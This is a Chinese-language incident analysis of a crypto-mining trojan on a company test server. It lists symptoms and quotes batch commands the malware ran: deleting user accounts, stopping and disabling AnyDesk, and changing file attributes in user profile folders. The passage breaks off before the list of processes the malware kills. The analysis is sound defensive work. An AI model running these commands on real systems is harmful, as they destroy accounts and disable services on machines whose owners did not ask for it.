一次挖矿木马分析_wodcmdterm.exe

公司测试服务器远程卡顿，VSS无法打开，360杀毒软件失灵，MSSQL无法连接，密码被修改过，重启后无任何显著可用的效果，于是乎查系统进程、系统日志、计划任务等，发现计划任务中出现了一些可疑的任务，任务操作是指向一些bat或者exe，MSSQL代理作业中也出现了十多个可疑的作业，通过分析后发现是中了挖矿木马。通过分析发现该恶意程序做了底下这些操作：

::删除用户，这可能是感染时候建的用户，也可能是其他竞品遗留下来的用户
net1 user mm123$ /del&net1 user admin$ /del&net1 user sysadm05 /del
 
::停止并禁用AnyDesk服务，被感染计算机并未发现这个服务，应该是部署anydesk远程用的
net stop AnyDesk&sc config AnyDesk start= disabled
 
::设置文件为系统只读、隐藏属性，文件较多
attrib -s -h -r C:\Users\Default\AppData\Local\Temp\*.exe&attrib -s -h -r C:\Users\Default\AppData\Roaming\Tempo\*.exe&attrib -s -h -r C:\Users\Default\AppData\Roaming\*.exe
attrib -s -h -r C:\Users\asp\AppData\Local\Temp\*.exe&attrib -s -h -r C:\Users\asp\AppData\Roaming\Tempo\*.exe&attrib -s -h -r C:\Users\asp\AppData\Roaming\*.exe
attrib -s -h -r C:\Users\administrator\AppData\Local\Temp\*.exe&attrib -s -h -r C:\Users\administrator\AppData\Roaming\Tempo\*.exe&attrib -s -h -r C:\Users\administrator\AppData\Roaming\*.exe
 
::杀掉这些进程，有些看起来像是系统进程，有些可能是竞品进程
